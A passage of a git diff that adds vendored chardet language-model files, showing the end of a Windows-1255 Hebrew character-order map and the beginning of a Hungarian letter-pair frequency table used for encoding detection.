179: 228, # '³' + 180: 55, # '´' + 181: 229, # 'µ' + 182: 230, # '¶' + 183: 101, # '·' + 184: 231, # '¸' + 185: 232, # '¹' + 186: 120, # '÷' + 187: 233, # '»' + 188: 48, # '¼' + 189: 39, # '½' + 190: 57, # '¾' + 191: 234, # '¿' + 192: 30, # 'ְ' + 193: 59, # 'ֱ' + 194: 41, # 'ֲ' + 195: 88, # 'ֳ' + 196: 33, # 'ִ' + 197: 37, # 'ֵ' + 198: 36, # 'ֶ' + 199: 31, # 'ַ' + 200: 29, # 'ָ' + 201: 35, # 'ֹ' + 202: 235, # None + 203: 62, # 'ֻ' + 204: 28, # 'ּ' + 205: 236, # 'ֽ' + 206: 126, # '־' + 207: 237, # 'ֿ' + 208: 238, # '׀' + 209: 38, # 'ׁ' + 210: 45, # 'ׂ' + 211: 239, # '׃' + 212: 240, # 'װ' + 213: 241, # 'ױ' + 214: 242, # 'ײ' + 215: 243, # '׳' + 216: 127, # '״' + 217: 244, # None + 218: 245, # None + 219: 246, # None + 220: 247, # None + 221: 248, # None + 222: 249, # None + 223: 250, # None + 224: 9, # 'א' + 225: 8, # 'ב' + 226: 20, # 'ג' + 227: 16, # 'ד' + 228: 3, # 'ה' + 229: 2, # 'ו' + 230: 24, # 'ז' + 231: 14, # 'ח' + 232: 22, # 'ט' + 233: 1, # 'י' + 234: 25, # 'ך' + 235: 15, # 'כ' + 236: 4, # 'ל' + 237: 11, # 'ם' + 238: 6, # 'מ' + 239: 23, # 'ן' + 240: 12, # 'נ' + 241: 19, # 'ס' + 242: 13, # 'ע' + 243: 26, # 'ף' + 244: 18, # 'פ' + 245: 27, # 'ץ' + 246: 21, # 'צ' + 247: 17, # 'ק' + 248: 7, # 'ר' + 249: 10, # 'ש' + 250: 5, # 'ת' + 251: 251, # None + 252: 252, # None + 253: 128, # '\u200e' + 254: 96, # '\u200f' + 255: 253, # None +} + +WINDOWS_1255_HEBREW_MODEL = SingleByteCharSetModel(charset_name='windows-1255', + language='Hebrew', + char_to_order_map=WINDOWS_1255_HEBREW_CHAR_TO_ORDER, + language_model=HEBREW_LANG_MODEL, + typical_positive_ratio=0.984004, + keep_ascii_letters=False, + alphabet='אבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ') + diff --git a/src/thirdparty/chardet/langhungarianmodel.py b/src/thirdparty/chardet/langhungarianmodel.py new file mode 100644 index 0000000000..db51636896 --- /dev/null +++ b/src/thirdparty/chardet/langhungarianmodel.py @@ -0,0 +1,4650 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HUNGARIAN_LANG_MODEL = { + 28: { # 'A' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 2, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 40: { # 'B' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 3, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 54: { # 'C' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 3, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 45: { # 'D' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 0, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 32: { # 'E' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 1, # 't' + 21: 2, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 50: { # 'F' + 28: 1, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 0, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 49: { # 'G' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 38: { # 'H' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 0, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 1, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 2, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 2, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 39: { # 'I' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 53: { # 'J' + 28: 2, # 'A' + 40: 0, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 1, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 36: { # 'K' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 2, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 41: { # 'L' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 1, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 34: { # 'M' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 0, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 3, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 2, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 1, # 'ű' + }, + 35: { # 'N' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 2, # 'Y' + 52: 1, # 'Z' + 2: 3, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 3, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 2, # 'y' + 11: 0, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 47: { # 'O' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 2, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 2, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 1, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 1, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 46: { # 'P' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 0, # 'M' + 35: 1, # 'N' + 47: 1, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 1, # 'Ó' + 59: 1, # 'Ö' + 60: 0, # 'Ú' + 63: 1, # 'Ü' + 14: 3, # 'á' + 15: 2, # 'é' + 30: 0, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 1, # 'ő' + 56: 0, # 'ű' + }, + 43: { # 'R' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 1, # 'Z' + 2: 2, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 2, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 1, # 'h' + 9: 2, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 0, # 'n' + 8: 2, # 'o' + 23: 0, # 'p' + 10: 0, # 'r' + 5: 0, # 's' + 3: 0, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 0, # 'z' + 51: 2, # 'Á' + 44: 1, # 'É' + 61: 1, # 'Í' + 58: 2, # 'Ó' + 59: 1, # 'Ö' + 60: 1, # 'Ú' + 63: 1, # 'Ü' + 14: 2, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 2, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 33: { # 'S' + 28: 2, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 2, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 2, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 